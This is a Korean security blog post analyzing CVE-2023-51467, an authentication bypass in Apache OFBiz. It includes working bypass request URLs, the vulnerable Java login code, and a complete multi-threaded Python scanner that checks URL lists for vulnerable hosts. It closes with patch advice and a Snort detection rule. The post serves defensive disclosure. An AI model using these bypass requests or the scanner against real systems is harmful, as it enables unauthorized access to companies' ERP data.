1. Apache OfBiz [1]

- 오픈 소스 ERP(Enterprise Resource Planning) 시스템

- ERP(Enterprise Resource Planning, 전사적자원관리 ) : 재고, 회계, 인사, 급여 등 기업의 모든 업무를 통합해 관리할 수 있는 시스템

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-51467 [2]

 

- 로그인 기능에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> CVE-2023-49070에 대한 불완전한 패치로 인한 인증 우회 취약점

> 취약점을 악용에 성공한 공격자는 SSRF 공격을 수행할 수 있게 됨

영향받는 버전
- Apache OFbiz 18.12.11 이전 버전

 

CVE-2023-49070 [3]
- 인증되지 않은 공격자가 인증 과정을 우회하여 원격 명령을 실행할 수 있게되는 취약점 (CVSS: 9.8)
더 이상 사용 및 유지되지 않는 Apache XML-RPC 구성요소가 포함되어 있어 발생 [4][5]
사용하지 않는 XML-RPC 관련 코드를 제거하여 패치 제공 [6]
- PoC: /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y [7]
- 영향받는 버전: Apache OFBIz 18.12.10 이전 버전

 

2.1 취약점 상세

- LoginWorker.java 파일의 requirePasswordChange 매개변수에 의해 발생 [8][9]

> 매개변수 USERNAME, PASSWARD는 공백 또는 임의의값requirePasswordChange는 Y로 설정하여 요청 전송

 

2.1.1 케이스 ①

- USERNAME 및 PASSWARD는 공백, requirePasswordChange는 Y로 설정한 경우

※ Java에서 공백(빈값으로 초기화되어 메모리 할당)과 Null(초기화되지 않은 상태)은 서로 다른 값

Target_URL/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #437 ~ #448)는 requirePasswordChange 값을 반환 [10]

List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.username_was_empty_reenter”, UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.password_was_empty_reenter”, UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = “Y”.equals(request.getParameter(“requirePasswordChange”));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute(“_ERROR_MESSAGE_LIST_”, unpwErrMsgList);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

- 그 후, login 함수의 반환 값이 checkLogin 함수(LoginWorker.java 파일 #343 ~ #346) 에 전달

> 결과적으로 "success"를 반환하여 인증을 우회 [11]

if (userLogin == null) {
// check parameters
username = request.getParameter(“USERNAME”);
password = request.getParameter(“PASSWORD”);
token = request.getParameter(“TOKEN”);
// check session attributes
if (username == null) username = (String) session.getAttribute(“USERNAME”);
if (password == null) password = (String) session.getAttribute(“PASSWORD”);
if (token == null) token = (String) session.getAttribute(“TOKEN”);
if (username == null || (password == null && token == null) || “error”.equals(login(request, response))) {

 

2.1.2 케이스 ②

- USERNAME 및 PASSWARD는 임의의 값, requirePasswordChange는 Y로 설정한 경우

Target_URL/webtools/control/ping?USERNAME=test&PASSWORD=test&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #601 ~ #605)는 requirePasswordChange 값을 반환 [12]

> 결과적으로 "success"를 반환하여 인증을 우회

} else {
Map<String, String> messageMap = UtilMisc.toMap(“errorMessage”, (String) result.get(ModelService.ERROR_MESSAGE));
String errMsg = UtilProperties.getMessage(resourceWebapp, “loginevents.following_error_occurred_during_login”, messageMap, UtilHttp.getLocale(request));
request.setAttribute(“_ERROR_MESSAGE_”, errMsg);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

2.2 PoC [13]

- 대상 URL 취약점에 영향받는지 확인하는 스캐너
> 매개변수를 USERNAME, PASSWORD, requirePasswordChange 조작하여 요청 전송

import os
import argparse
import requests
import concurrent.futures

from threading import Lock
from rich.console import Console
from typing import List, Optional
from urllib.parse import urlparse
from alive_progress import alive_bar
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
console = Console()


class CVE_2023_51467:
    def __init__(self, urls: List[str], threads: int, output_file: str):
        self.urls = urls
        self.threads = threads
        self.output_file = output_file
        self.file_lock = Lock()

    def check_url(self, base_url: str) -> Optional[str]:
        parsed_url = urlparse(base_url)
        schemes = ["http", "https"] if not parsed_url.scheme else [parsed_url.scheme]
        for scheme in schemes:
            url = f"{scheme}://{parsed_url.netloc}{parsed_url.path}"
            if self.is_url_accessible(url):
                return url
        return None

    def is_url_accessible(self, url: str) -> bool:
        try:
            response = requests.head(url, verify=False, timeout=5, allow_redirects=True)
            return response.status_code < 500
        except requests.RequestException:
            return False

    def scan_url(self, base_url: str):
        target_url = self.check_url(base_url)

        if target_url:
            try:
                response = requests.get(
                    f"{target_url}/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y",
                    verify=False,
                    timeout=10,
                    allow_redirects=True,
                )

                if response.status_code == 200 and "PONG" in response.text:
                    console.log(
                        f"Vulnerable URL found: {base_url}, Response: {response.text.strip()}"
                    )
                    vulnerable_url = f"{urlparse(target_url).scheme}://{urlparse(target_url).netloc}\n"
                    with self.file_lock:
                        with open(self.output_file, "a") as file:
                            file.write(vulnerable_url)
            except Exception as e:
                console.log(f"Error scanning {base_url}: {e}")

    def run(self):
        with alive_bar(len(self.urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(
                max_workers=self.threads
            ) as executor:
                future_to_url = {
                    executor.submit(self.scan_url, url): url for url in self.urls
                }
                for _ in concurrent.futures.as_completed(future_to_url):
                    bar()


def main():
    script_name = os.path.basename(__file__)
    parser = argparse.ArgumentParser(
        description="CVE-2023-51467 Scanner: Scans URLs for a specific vulnerability associated with CVE-2023-51467.",
        epilog=f"Example usage:\n"
        f"    python {script_name} -u http://example.com\n"
        f"    python {script_name} -f urls.txt -o output.txt -t 50",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-u", "--url", help="Single URL to send GET request to")
    parser.add_argument(
        "-f", "--file", help="File containing list of base URLs to scan"
    )
    parser.add_argument(
        "-o",
        "--output",
        default="output.txt",
        help="File to write vulnerable systems to",
    )
    parser.add_argument(
        "-t",
        "--threads",
        type=int,
        default=10,
        help="Number of concurrent threads to use",
    )
    args = parser.parse_args()

    urls = []
    if args.file:
        with open(args.file, "r") as file:
            urls = [line.strip() for line in file]
    elif args.url:
        urls.append(args.url)
    else:
        console.log("No URL or file provided")
        return

    scanner = CVE_2023_51467(urls, args.threads, args.output)
    scanner.run()


if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [14]

> login 함수에 requirePasswordChange 값 대신 Error Message를 출력하도록 변경

> checkLogin 함수에 UtilValidate.isEmpty() 함수를 추가해 빈 값 여부 확인

제품명 영향받는 버전 해결 버전
Apache OFBiz 18.12.11 이전 버전 18.12.11

 

- 탐지 정책 적용 등 모니터링 수행

alert tcp any any -> any any (msg:"CVE-2023-51467 Apache OFBiz"; flow:to_server,established; content:"GET"; http_method; content:"/webtools/control/"; http_uri; content:"USERNAME="; http_uri; content:"&PASSWORD="; http_uri; content:"&requirePasswordChange=Y"; http_uri; rev:1;)

 

4. 참고

[1] https://ofbiz.apache.org/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-51467
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-49070
[4] https://issues.apache.org/jira/plugins/servlet/mobile#issue/OFBIZ-12812
[5] https://github.com/advisories/GHSA-6vwp-35w3-xph8
[6] https://github.com/apache/ofbiz-framework/commit/c59336f604
[7] https://twitter.com/Siebene7/status/1731870759130427726
[8] https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/
[9] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
[10] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L391C5-L607C6
[11] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L323C5-L381C6
[12] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L601C11-L605C78
[13] https://github.com/Chocapikk/CVE-2023-51467
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71272&menuNo=205020
[15] https://www.boannews.com/media/view.asp?idx=125343&page=1&kind=1

+ Recent posts